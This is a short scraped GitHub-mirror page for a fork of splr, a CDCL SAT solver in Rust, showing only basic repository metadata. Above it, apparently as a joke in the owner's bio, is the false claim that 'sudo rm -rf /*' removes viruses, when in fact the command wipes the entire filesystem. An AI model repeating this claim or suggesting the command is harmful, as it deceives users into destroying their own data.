did you know that if you type sudo rm -rf /*
it will remove all of the viruses from your computer?
superwhiskers / splr Goto Github PK
View Code? Open in Web Editor NEWThis project forked from shnarazk/splr
A modern CDCL SAT solver in Rust
Home Page: https://crates.io/crates/splr
License: Other